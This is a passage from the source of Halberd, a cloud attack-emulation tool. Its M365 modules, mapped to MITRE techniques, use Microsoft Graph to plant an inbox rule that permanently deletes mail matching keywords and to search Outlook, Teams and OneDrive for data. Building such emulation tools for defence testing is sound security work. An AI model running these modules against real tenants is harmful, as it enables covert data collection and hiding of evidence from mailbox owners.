f"https://graph.microsoft.com/v1.0/users/{mailbox}/mailFolders/inbox/messageRules" 40 | 41 | # Create request payload 42 | data = { 43 | "displayName": rule_name, 44 | "sequence": 1, 45 | "isEnabled": "true", 46 | "conditions": { 47 | "sentToMe": "true", 48 | "subjectContains": keywords 49 | }, 50 | "actions": { 51 | "permanentDelete": 'true', 52 | "stopProcessingRules": 'true' 53 | } 54 | } 55 | 56 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 57 | 58 | # Delete rule setup successful 59 | if 200 <= raw_response.status_code < 300: 60 | return ExecutionStatus.SUCCESS, { 61 | "message": f"Successfully deployed email deletion rule on mailbox", 62 | "value": { 63 | 'rule_name' : rule_name, 64 | 'rule_id' : raw_response.json().get('id', 'N/A'), 65 | 'rule_enabled' : raw_response.json().get('isEnabled', 'N/A'), 66 | 'conditions' : raw_response.json().get('conditions', 'N/A'), 67 | 'actions' : raw_response.json().get('actions', 'N/A'), 68 | 'sequence' : raw_response.json().get('sequence', 'N/A'), 69 | } 70 | } 71 | else: 72 | return ExecutionStatus.FAILURE, { 73 | "error": { 74 | "error_code": raw_response.json().get('error').get('code', 'N/A'), 75 | "eror_message": raw_response.json().get('error').get('message', 'N/A') 76 | }, 77 | "message": "Failed to deploy email deletion rule on mailbox" 78 | } 79 | except Exception as e: 80 | return ExecutionStatus.FAILURE, { 81 | "error": str(e), 82 | "message": "Failed to deploy email deletion rule on mailbox" 83 | } 84 | 85 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 86 | return { 87 | "mailbox": { 88 | "type": "str", 89 | "required": True, 90 | "default":None, 91 | "name": "Target Mailbox", 92 | "input_field_type" : "email" 93 | }, 94 | "rule_name": { 95 | "type": "str", 96 | "required": True, 97 | "default":None, 98 | "name": "Rule Name", 99 | "input_field_type" : "text" 100 | }, 101 | "keywords": { 102 | "type": "str", 103 | "required": True, 104 | "default":None, 105 | "name": "Delete Rule Keywords", 106 | "input_field_type" : "text" 107 | } 108 | } -------------------------------------------------------------------------------- /attack_techniques/m365/m365_search_outlook_messages.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class M365SearchOutlookMessages(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1213", 12 | technique_name="Data from Information Repositories", 13 | tactics=["Collection"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Search Outlook Messages", "Searches outlook to collect data", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | search_term: str = kwargs.get('search_term', None) 24 | 25 | if search_term in [None, ""]: 26 | return ExecutionStatus.FAILURE, { 27 | "error": {"Error" : "Invalid Technique Input"}, 28 | "message": {"Error" : "Invalid Technique Input"} 29 | } 30 | 31 | endpoint_url = "https://graph.microsoft.com/v1.0/search/query" 32 | 33 | # Create request payload 34 | data = { 35 | "requests":[ 36 | { 37 | "entityTypes" : [ 38 | "message" 39 | ], 40 | "query": { 41 | "queryString": search_term 42 | }, 43 | "from": 0, 44 | "size": 25, 45 | } 46 | ] 47 | } 48 | 49 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 50 | 51 | output = [] 52 | # Request successful 53 | if 200 <= raw_response.status_code < 300: 54 | search_results = raw_response.json()['value'] 55 | for search_match in search_results: 56 | for hits in search_match['hitsContainers']: 57 | if hits.get('total', 0) > 0: 58 | for hit in hits['hits']: 59 | output.append({ 60 | "subject" : hit.get("resource","N/A").get("subject","N/A"), 61 | "preview" : hit.get("resource","N/A").get("bodyPreview","N/A"), 62 | "summary" : hit.get("summary","N/A"), 63 | "sender" : hit.get("resource","N/A").get("sender", "N/A").get("emailAddress","N/A"), 64 | "reply_to" : hit.get("resource","N/A").get("replyTo", "N/A"), 65 | "has_attachments" : hit.get("hasAttachments", "N/A") 66 | }) 67 | if output: 68 | return ExecutionStatus.SUCCESS, { 69 | "message": f"Successfully found len{output} outlook messages", 70 | "value": output 71 | } 72 | else: 73 | return ExecutionStatus.SUCCESS, { 74 | "message": f"No outlook messages found", 75 | "value": [] 76 | } 77 | else: 78 | return ExecutionStatus.FAILURE, { 79 | "error": { 80 | "error_code": raw_response.json().get('error').get('code', 'N/A'), 81 | "eror_message": raw_response.json().get('error').get('message', 'N/A') 82 | }, 83 | "message": "Failed to search outlook messages" 84 | } 85 | except Exception as e: 86 | return ExecutionStatus.FAILURE, { 87 | "error": str(e), 88 | "message": "Failed to search outlook messages" 89 | } 90 | 91 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 92 | return { 93 | "search_term": { 94 | "type": "str", 95 | "required": True, 96 | "default":None, 97 | "name": "Search Keyword", 98 | "input_field_type" : "text" 99 | } 100 | } -------------------------------------------------------------------------------- /attack_techniques/m365/m365_search_teams_messages.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class M365SearchTeamsMessages(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1213", 12 | technique_name="Data from Information Repositories", 13 | tactics=["Collection"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Search Teams Messages", "Searches teams messages using search query to collect data", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | search_term: str = kwargs.get('search_term', None) 24 | 25 | if search_term in [None, ""]: 26 | return ExecutionStatus.FAILURE, { 27 | "error": {"Error" : "Invalid Technique Input"}, 28 | "message": {"Error" : "Invalid Technique Input"} 29 | } 30 | 31 | endpoint_url = "https://graph.microsoft.com/v1.0/search/query" 32 | 33 | # Create request payload 34 | data = { 35 | "requests":[ 36 | { 37 | "entityTypes" : [ 38 | "chatMessage" 39 | ], 40 | "query": { 41 | "queryString": search_term 42 | }, 43 | "from": 0, 44 | "size": 25, 45 | } 46 | ] 47 | } 48 | 49 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 50 | 51 | # Request successful 52 | if 200 <= raw_response.status_code < 300: 53 | search_results = raw_response.json()['value'] 54 | 55 | if search_results: 56 | return ExecutionStatus.SUCCESS, { 57 | "message": f"Successfully found len{search_results} teams messages", 58 | "value": search_results 59 | } 60 | else: 61 | return ExecutionStatus.SUCCESS, { 62 | "message": f"No teams messages found", 63 | "value": [] 64 | } 65 | else: 66 | return ExecutionStatus.FAILURE, { 67 | "error": { 68 | "error_code": raw_response.json().get('error').get('code', 'N/A'), 69 | "eror_message": raw_response.json().get('error').get('message', 'N/A') 70 | }, 71 | "message": "Failed to search teams messages" 72 | } 73 | except Exception as e: 74 | return ExecutionStatus.FAILURE, { 75 | "error": str(e), 76 | "message": "Failed to search teams messages" 77 | } 78 | 79 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 80 | return { 81 | "search_term": { 82 | "type": "str", 83 | "required": True, 84 | "default":None, 85 | "name": "Search Keyword", 86 | "input_field_type" : "text" 87 | } 88 | } -------------------------------------------------------------------------------- /attack_techniques/m365/m365_search_user_one_drive.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class M365SearchUserOneDrive(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1213.002", 12 | technique_name="Data from Information Repositories", 13 | tactics=["Collection"], 14 | sub_technique_name="Sharepoint" 15 | ) 16 | ] 17 | super().__init__("Search User One Drive", "Searches users one drive using search query to collect data", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | search_term: str = kwargs.get('search_term', None) 24 | 25 | if search_term in [None, ""]: 26 | return ExecutionStatus.FAILURE, { 27 | "error": {"Error" : "Invalid Technique Input"}, 28 | "message": {"Error" : "Invalid Technique Input"} 29 | } 30 | 31 | endpoint_url = "https://graph.microsoft.com/v1.0/search/query" 32 | # Create payload 33 | data = { 34 | "requests":[ 35 | { 36 | "entityTypes" : [ 37 | "driveItem" 38 | ], 39 | "query": { 40 | "queryString": search_term 41 | }, 42 | "from": 0, 43 | "size": 25, 44 | } 45 | ] 46 | } 47 | 48 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 49 | output = [] 50 | # Request successful 51 | if 200 <= raw_response.status_code < 300: 52 | search_results = raw_response.json()['value'] 53 | for search_match in search_results: 54 | for hits in search_match['hitsContainers']: 55 | for hit in hits['hits']: 56 | output.append({ 57 | "name" : hit.get('resource','N/A').get('name', 'N/A'), 58 | "summary" : hit.get('summary','N/A'), 59 | "size" : hit.get('resource','N/A').get('size','N/A'), 60 | "created_by" : hit.get('resource','N/A').get('createdBy','N/A'), 61 | "web_url" : hit.get('resource','N/A').get('webUrl','N/A') 62 | }) 63 | 64 | if search_results: 65 | return ExecutionStatus.SUCCESS, { 66 | "message": f"Successfully found len{output} matching resources in one drive", 67 | "value": output 68 | } 69 | else: 70 | return ExecutionStatus.SUCCESS, { 71 | "message": f"No matching resources found in one drive", 72 | "value": [] 73 | } 74 | else: 75 | return ExecutionStatus.FAILURE, { 76 | "error": { 77 | "error_code": raw_response.json().get('error').get('code', 'N/A'), 78 | "eror_message": raw_response.json().get('error').get('message', 'N/A') 79 | }, 80 | "message": "Failed to find matching resources in one drive" 81 | } 82 | except Exception as e: 83 | return ExecutionStatus.FAILURE, { 84 | "error": str(e), 85 | "message": "Failed to find matching resources in one drive" 86 | } 87 | 88 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 89 | return { 90 | "search_term": { 91 | "type": "str", 92 | "required": True, 93 | "default":None, 94 | "name": "Search Keyword", 95 | "input_field_type" : "text" 96 | } 97 | } -------------------------------------------------------------------------------- /attack_techniques/technique_registry.py: -------------------------------------------------------------------------------- 1 | from typing import Type, Dict, Optional, List, Set 2 | from .base_technique import BaseTechnique 3 | import os 4 | 5 | class TechniqueRegistry: 6 | _techniques: Dict[str, Type[BaseTechnique]] = {} 7 | _categories = ['azure', 'entra_id', 'aws', 'm365', 'gcp'] 8 | _base_path = os.path.dirname(__file__) 9 | 10 | @classmethod 11 | def register(cls, technique_class: Type[BaseTechnique]) -> Type[BaseTechnique]: 12 | cls._techniques[technique_class.__name__] = technique_class 13 | return technique_class 14 | 15 | @classmethod 16 | def get_technique(cls, name: str) -> Type[BaseTechnique]: 17 | technique = cls._techniques.get(name) 18 | if not technique: 19 | raise ValueError(f"Technique not found: {name}") 20 | return technique 21 | 22 | @classmethod 23 | def list_techniques(cls, category: Optional[str] = None) -> Dict[str, Type[BaseTechnique]]: 24 | if category is None: 25 | return cls._techniques 26 | 27 | if category not in cls._categories: 28 | raise ValueError(f"Invalid category. Must be one of {cls._categories}") 29 | 30 | return {name: tech for name, tech in cls._techniques.items() 31 | if cls.get_technique_category(name) == category} 32 | 33 | @classmethod 34 | def list_tactics(cls, category: Optional[str] = None) -> List[str]: 35 | techniques = cls.list_techniques(category) 36 | tactics: Set[str] = set() 37 | 38 | for tech_class in techniques.values(): 39 | technique = tech_class() 40 | for mitre_technique in technique.mitre_techniques: 41 | tactics.update(mitre_technique.tactics) 42 | 43 | return sorted(list(tactics)) 44 | 45 | @classmethod 46 | def get_technique_category(cls, technique_name: str) -> Optional[str]: 47 | technique_class = cls._techniques.get(technique_name) 48 | if not technique_class: 49 | return None 50 | 51 | technique_source = technique_class.__module__ 52 | source_breakdown = technique_source.split(".") 53 | if len(source_breakdown)>=3 and source_breakdown[1] in cls._categories: 54 | return source_breakdown[1] 55 | 56 | return None -------------------------------------------------------------------------------- /core/Constants.py: -------------------------------------------------------------------------------- 1 | AUTOMATOR_DIR = "./automator" 2 | AUTOMATOR_PLAYBOOKS_DIR = AUTOMATOR_DIR+"/Playbooks" 3 | AUTOMATOR_OUTPUT_DIR = AUTOMATOR_DIR+"/Outputs" 4 | AUTOMATOR_SCHEDULES_FILE = AUTOMATOR_DIR+"/Schedules.yml" 5 | AUTOMATOR_EXPORTS_DIR = AUTOMATOR_DIR+"/Exports" 6 | 7 | APP_LOCAL_DIR = "./local" 8 | APP_LOG_FILE = APP_LOCAL_DIR+"/app.log" 9 | MSFT_TOKENS_FILE = APP_LOCAL_DIR+"/MSFT_Graph_Tokens.yml" 10 | GCP_CREDS_FILE = APP_LOCAL_DIR+"/GCP_Service_Account.json" 11 | TECHNIQUE_OUTPUT_DIR = APP_LOCAL_DIR+"/technique_output" 12 | 13 | OUTPUT_DIR = "./output" 14 | REPORT_DIR = "./report" 15 | 16 | GRAPH_ENDPOINT_URL = "https://graph.microsoft.com/v1.0" 17 | 18 | LOGGING_CONFIG_FILE = "./core/logging/logging_config.yml" 19 | SERVER_LOG_FILE = "./local/server.log" 20 | 21 | CATEGORY_MAPPING = { 22 | "azure": "Azure", 23 | "entra_id": "EntraID", 24 | "m365": "M365", 25 | "aws": "AWS", 26 | "gcp": "GCP" 27 | } -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/__init__.py -------------------------------------------------------------------------------- /core/aws/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/aws/__init__.py -------------------------------------------------------------------------------- /core/azure/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/azure/__init__.py -------------------------------------------------------------------------------- /core/azure/azure_access.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import json 3 | import sys 4 | import shutil 5 | import os 6 | from azure.identity import AzureCliCredential, DefaultAzureCredential 7 | 8 | class AzureAccess: 9 | """Azure access manager""" 10 | def __init__(self): 11 | self.az_command = check_azure_cli_install() 12 | 13 | def get_current_subscription_info(self): 14 | """Get current subscription info for connected account.""" 15 | raw_response = subprocess.run([self.az_command, "account", "show"], capture_output=True) 16 | if raw_response.returncode == 0: 17 | output = raw_response.stdout 18 | return json.loads(output.decode('utf-8')) 19 | return None 20 | 21 | def get_account_available_subscriptions(self): 22 | """Get list of available subscriptions.""" 23 | raw_response = subprocess.run([self.az_command, "account", "list"], capture_output=True) 24 | if raw_response.returncode == 0: 25 | output = raw_response.stdout 26 | return json.loads(output.decode('utf-8')) 27 | return None 28 | 29 | def set_active_subscription(self, subscription_id): 30 | """Set default subscription in environment to use.""" 31 | raw_response = subprocess.run([self.az_command, "account", "set", "--subscription", subscription_id], capture_output=True) 32 | return True if raw_response.returncode == 0 else None 33 | 34 | @staticmethod 35 | def get_azure_auth_credential(): 36 | """Get Azure authentication credential.""" 37 | try: 38 | return AzureCliCredential() 39 | except: 40 | return DefaultAzureCredential() 41 | 42 | def execute_az_command(self, *args): 43 | """Execute an arbitrary Azure CLI command.""" 44 | raw_response = subprocess.run([self.az_command, *args], capture_output=True) 45 | if raw_response.returncode == 0: 46 | output = raw_response.stdout 47 | try: 48 | return json.loads(output.decode('utf-8')) 49 | except json.JSONDecodeError: 50 | return output.decode('utf-8').strip() 51 | return None 52 | 53 | def logout(self): 54 | """Remove established access by logging out the current user.""" 55 | raw_response = subprocess.run([self.az_command, "logout"], capture_output=True) 56 | if raw_response.returncode == 0: 57 | return True 58 | return False 59 | 60 | def check_azure_cli_install(): 61 | '''Function checks for installation of Azure cli on host''' 62 | 63 | if sys.platform.startswith('win'): 64 | # search in PATH 65 | az_cli_path = shutil.which("az") 66 | if az_cli_path: 67 | return az_cli_path 68 | 69 | # if not found in PATH, check in common installation paths on Windows 70 | common_win_paths = [ 71 | r"C:\Program Files (x86)\Microsoft SDKs\Azure\CLI2\wbin", 72 | r"C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin", 73 | ] 74 | for path in common_win_paths: 75 | az_cli_path = os.path.join(path, "az.cmd") 76 | if os.path.exists(az_cli_path): 77 | return az_cli_path 78 | 79 | else: 80 | # for non-windows systems, check if 'az' is in PATH 81 | if shutil.which("az"): 82 | return "az" 83 | 84 | # if az installation not found on host,return None 85 | return None -------------------------------------------------------------------------------- /core/entra/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/entra/__init__.py -------------------------------------------------------------------------------- /core/entra/token_info.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | import datetime 3 | from typing import Optional, Union 4 | 5 | class Msft_Token: 6 | """ 7 | Creates a new MSFT token instance 8 | """ 9 | def __init__(self, token_value: str): 10 | self.token_value = token_value 11 | self.decoded_token = self._decode_token() 12 | self.target_tenant = self.decoded_token['tid'] 13 | self.entity_type = self.decoded_token['idtyp'] 14 | self.expiration = self._convert_expiration(self.decoded_token['exp']) 15 | self.authenticated_entity = self._get_authenticated_entity() 16 | self.scope = self._get_scope() 17 | self.access_type = "Delegated" if self.entity_type == "user" else "App-only" 18 | self.app_name = self._get_app_name() 19 | 20 | def _decode_token(self) -> dict: 21 | """ 22 | Decodes a MSFT JWT 23 | """ 24 | try: 25 | return jwt.decode(self.token_value, options={"verify_signature": False}) 26 | except jwt.DecodeError: 27 | raise ValueError(f"Invalid JWT token: {self.token_value}") 28 | 29 | @staticmethod 30 | def _convert_expiration(exp_epoch: int) -> str: 31 | return datetime.datetime.fromtimestamp(exp_epoch, tz=datetime.timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ') 32 | 33 | def _get_authenticated_entity(self) -> str: 34 | return self.decoded_token['upn'] if self.entity_type == "user" else self.decoded_token['app_displayname'] 35 | 36 | def _get_app_name(self) -> str: 37 | if 'app_displayname' in self.decoded_token.keys(): 38 | return self.decoded_token['app_displayname'] 39 | 40 | def _get_scope(self) -> Union[str, list]: 41 | if self.entity_type == "user": 42 | if isinstance(self.decoded_token['scp'], list): 43 | return self.decoded_token['scp'] 44 | return self.decoded_token['scp'].split() 45 | else: 46 | if isinstance(self.decoded_token['roles'], list): 47 | return self.decoded_token['roles'] 48 | return self.decoded_token['roles'].split() 49 | 50 | def _get_access_type(self) -> str: 51 | return "Delegated" if self.entity_type == "user" else "App-only" 52 | 53 | def get_access_info(self) -> dict: 54 | """ 55 | :return: Dict with JWT access information 56 | { 57 | "Entity": , 58 | "Entity Type": , 59 | "Access Exp": , 60 | "Access scope": , 61 | "Target App Name": , 62 | "Target Tenant": , 63 | "Access Type": 64 | } 65 | """ 66 | return { 67 | "Entity": self.authenticated_entity, 68 | "Entity Type": self.entity_type, 69 | "Access Exp": self.expiration, 70 | "Access scope": self.scope, 71 | "Target App Name": self.app_name, 72 | "Target Tenant": self.target_tenant, 73 | "Access Type": self.access_type 74 | } 75 | 76 | @classmethod 77 | def from_token(cls, token_value: Optional[str] = None) -> 'Msft_Token': 78 | if token_value is None: 79 | raise ValueError("Token not found") 80 | return cls(token_value) -------------------------------------------------------------------------------- /core/logging/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/logging/__init__.py -------------------------------------------------------------------------------- /core/logging/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | from typing import Any, Dict 4 | import yaml 5 | from logging.handlers import RotatingFileHandler 6 | from core.Constants import LOGGING_CONFIG_FILE 7 | 8 | class StructuredAppLog: 9 | """ 10 | A class to create structured log messages. 11 | 12 | This class allows for the creation of log messages with additional 13 | key-value pairs, which can be easily parsed and analyzed later. 14 | 15 | Attributes: 16 | message (str): The main log message. 17 | kwargs (Dict[str, Any]): Additional key-value pairs for structured logging. 18 | """ 19 | 20 | def __init__(self, message: str, **kwargs: Any) -> None: 21 | """ 22 | Initialize a StructuredMessage instance. 23 | 24 | Args: 25 | message (str): The main log message. 26 | **kwargs: Arbitrary keyword arguments for additional structured data. 27 | """ 28 | self.message = message 29 | self.kwargs = kwargs 30 | 31 | def __str__(self) -> str: 32 | """ 33 | Convert the structured message to a string representation. 34 | 35 | Returns: 36 | str: A string containing the message and JSON-formatted key-value pairs. 37 | """ 38 | return f"{self.message} {json.dumps(self.kwargs)}" 39 | 40 | def load_config(config_path: str) -> Dict[str, Any]: 41 | """ 42 | Load the logging configuration from a YAML file. 43 | 44 | Args: 45 | config_path (str): Path to the YAML configuration file. 46 | 47 | Returns: 48 | Dict[str, Any]: A dictionary containing the logging configuration. 49 | """ 50 | with open(config_path, 'r') as config_file: 51 | return yaml.safe_load(config_file) 52 | 53 | def setup_logger(logger_name: str, config_path: str = LOGGING_CONFIG_FILE) -> logging.Logger: 54 | """ 55 | Set up and configure a logger based on a YAML configuration file. 56 | 57 | This function creates a logger with handlers specified in the config file. 58 | It supports console output and rotating file output. 59 | 60 | Args: 61 | config_path (str): Path to the YAML configuration file. Defaults to 'logging_config.yaml'. 62 | 63 | Returns: 64 | logging.Logger: A configured logger instance. 65 | """ 66 | full_config = load_config(config_path) 67 | config = full_config['loggers'][logger_name] 68 | logger = logging.getLogger(name=logger_name) 69 | logger.setLevel(full_config['logger_level']) 70 | 71 | # Console handler 72 | if config['console_handler']['enabled']: 73 | console_handler = logging.StreamHandler() 74 | console_handler.setLevel(config['console_handler']['level']) 75 | console_formatter = logging.Formatter(config['console_handler']['format']) 76 | console_handler.setFormatter(console_formatter) 77 | logger.addHandler(console_handler) 78 | 79 | # Rotating file handler 80 | if config['file_handler']['enabled']: 81 | file_handler = RotatingFileHandler( 82 | filename=config['file_handler']['filename'], 83 | maxBytes=config['file_handler']['max_bytes'], 84 | backupCount=config['file_handler']['backup_count'] 85 | ) 86 | file_handler.setLevel(config['file_handler']['level']) 87 | file_formatter = logging.Formatter(config['file_handler']['format']) 88 | file_handler.setFormatter(file_formatter) 89 | logger.addHandler(file_handler) 90 | 91 | return logger 92 | 93 | # Intialize loggers 94 | app_logger = setup_logger("app") # Initialize Halberd logger 95 | graph_logger = setup_logger("ms_graph") # Initialize graph requests logger -------------------------------------------------------------------------------- /core/logging/logging_config.yml: -------------------------------------------------------------------------------- 1 | default_format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 2 | logger_level: DEBUG 3 | loggers: 4 | app: 5 | console_handler: 6 | enabled: false 7 | format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 8 | level: INFO 9 | file_handler: 10 | backup_count: 3 11 | enabled: true 12 | filename: ./local/app.log 13 | format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 14 | level: DEBUG 15 | max_bytes: 5242880 16 | 17 | ms_graph: 18 | console_handler: 19 | enabled: false 20 | format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 21 | level: INFO 22 | file_handler: 23 | backup_count: 3 24 | enabled: true 25 | filename: ./local/ms_graph.log 26 | format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 27 | level: WARNING 28 | max_bytes: 5242880 -------------------------------------------------------------------------------- /core/output_manager/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/output_manager/__init__.py -------------------------------------------------------------------------------- /core/playbook/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/core/playbook/__init__.py -------------------------------------------------------------------------------- /core/playbook/playbook_error.py: -------------------------------------------------------------------------------- 1 | class PlaybookError(Exception): 2 | """Custom exception class for Playbook-related errors.""" 3 | def __init__(self, message="Playbook Error Occured", error_type = None, error_operation = None): 4 | self.message = message 5 | self.error_type = error_type if error_type else "common" 6 | self.error_operation = error_operation if error_operation else "common" 7 | super().__init__(self.message) -------------------------------------------------------------------------------- /core/playbook/playbook_step.py: -------------------------------------------------------------------------------- 1 | from core.Constants import * 2 | from typing import List, Any, Optional 3 | 4 | class PlaybookStep: 5 | """Defines a step in the playbook""" 6 | def __init__(self, module: str, params: Optional[List[Any]], wait: Optional[int]): 7 | self.module = module 8 | self.params = params if params is not None else {} 9 | self.wait = wait -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | halberd: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | args: 7 | HALBERD_VERSION: ${HALBERD_VERSION:-2.2.0} 8 | cache_from: 9 | - python:3.11-slim 10 | ports: 11 | - "8050:8050" 12 | volumes: 13 | - ./local:/app/local 14 | - ./output:/app/output 15 | - ./report:/app/report 16 | environment: 17 | - HALBERD_HOST=0.0.0.0 18 | - HALBERD_PORT=8050 19 | - COMPOSE_BAKE=true 20 | restart: unless-stopped 21 | healthcheck: 22 | test: ["CMD", "curl", "-f", "http://localhost:8050"] 23 | interval: 30s 24 | timeout: 10s 25 | retries: 3 26 | start_period: 40s 27 | deploy: 28 | resources: 29 | limits: 30 | cpus: '1' 31 | memory: 1G 32 | reservations: 33 | cpus: '0.5' 34 | memory: 512M -------------------------------------------------------------------------------- /pages/__init__.py: -------------------------------------------------------------------------------- 1 | # Empty file to treat pages directory as a package -------------------------------------------------------------------------------- /pages/dashboard/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/pages/dashboard/__init__.py -------------------------------------------------------------------------------- /pages/schedules.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Page Navigation URL : app/schedules 3 | Page Description : Displays currently configured playbook execution schedules 4 | ''' 5 | 6 | import yaml 7 | 8 | from dash import html, register_page 9 | import dash_bootstrap_components as dbc 10 | from dash_iconify import DashIconify 11 | 12 | from core.Constants import AUTOMATOR_SCHEDULES_FILE 13 | 14 | # Register page to app 15 | register_page(__name__, path='/schedules', name='Schedules') 16 | 17 | def generate_automator_schedules_view(): 18 | 19 | with open(AUTOMATOR_SCHEDULES_FILE, "r") as schedule_data: 20 | schedules = yaml.safe_load(schedule_data) 21 | 22 | # set table headers 23 | table_header = [ 24 | html.Thead(html.Tr([html.Th("Schedule ID"), html.Th("Playbook Name"), html.Th("Start Date"), html.Th("End Date"), html.Th("Repeat"), html.Th("Repeat Frequency"), html.Th("Time")])) 25 | ] 26 | 27 | # add table entries 28 | table_entries = [] 29 | for schedule in schedules: 30 | table_entries.append( 31 | html.Tr([html.Td(schedule), html.Td(schedules[schedule]['Playbook_Id']), html.Td(schedules[schedule]['Start_Date']), html.Td(schedules[schedule]['End_Date']), html.Td(schedules[schedule]['Repeat']), html.Td(schedules[schedule]['Repeat_Frequency']), html.Td(schedules[schedule]['Execution_Time'])]) 32 | ) 33 | 34 | table_body = [html.Tbody(table_entries)] 35 | table_content = table_header + table_body 36 | 37 | # Generate attack trace page layout 38 | return html.Div([ 39 | html.H2( 40 | [ 41 | "Automator Schedules", 42 | html.A(DashIconify(icon="mdi:help-circle-outline", width=18, height=18), href="https://github.com/vectra-ai-research/Halberd/wiki/UI-&-Navigation", target="_blank") 43 | ], className="halberd-brand mb-3" 44 | ), 45 | dbc.Table(table_content, bordered=True, dark=True, hover=True), 46 | ], 47 | className="bg-halberd-dark halberd-text", 48 | style= { 49 | "width": "100vw" , 50 | "height": "92vh", 51 | "overflow": "auto", 52 | "padding-right": "20px", 53 | "padding-left": "20px", 54 | } 55 | ) 56 | 57 | layout = generate_automator_schedules_view -------------------------------------------------------------------------------- /version.py: -------------------------------------------------------------------------------- 1 | """Halberd version and metadata information""" 2 | 3 | # Version number format is: MAJOR.MINOR.PATCH 4 | __version__ = "3.0.0" 5 | 6 | # Additional metadata 7 | __name__ = "Halberd : Multi-Cloud Agentic Attack Tool" 8 | __description__ = "Halberd is an advanced multi-cloud attack tool designed for security teams to validate cloud defenses through sophisticated attack emulation." 9 | __repository__ = "https://github.com/vectra-ai-research/Halberd" 10 | __author__ = "Arpan Sarkar (@openrec0n)" 11 | __license__ = "GPL-3.0" 12 | __cloud__ = ["Entra ID", "M365", "Azure", "AWS", "GCP"] --------------------------------------------------------------------------------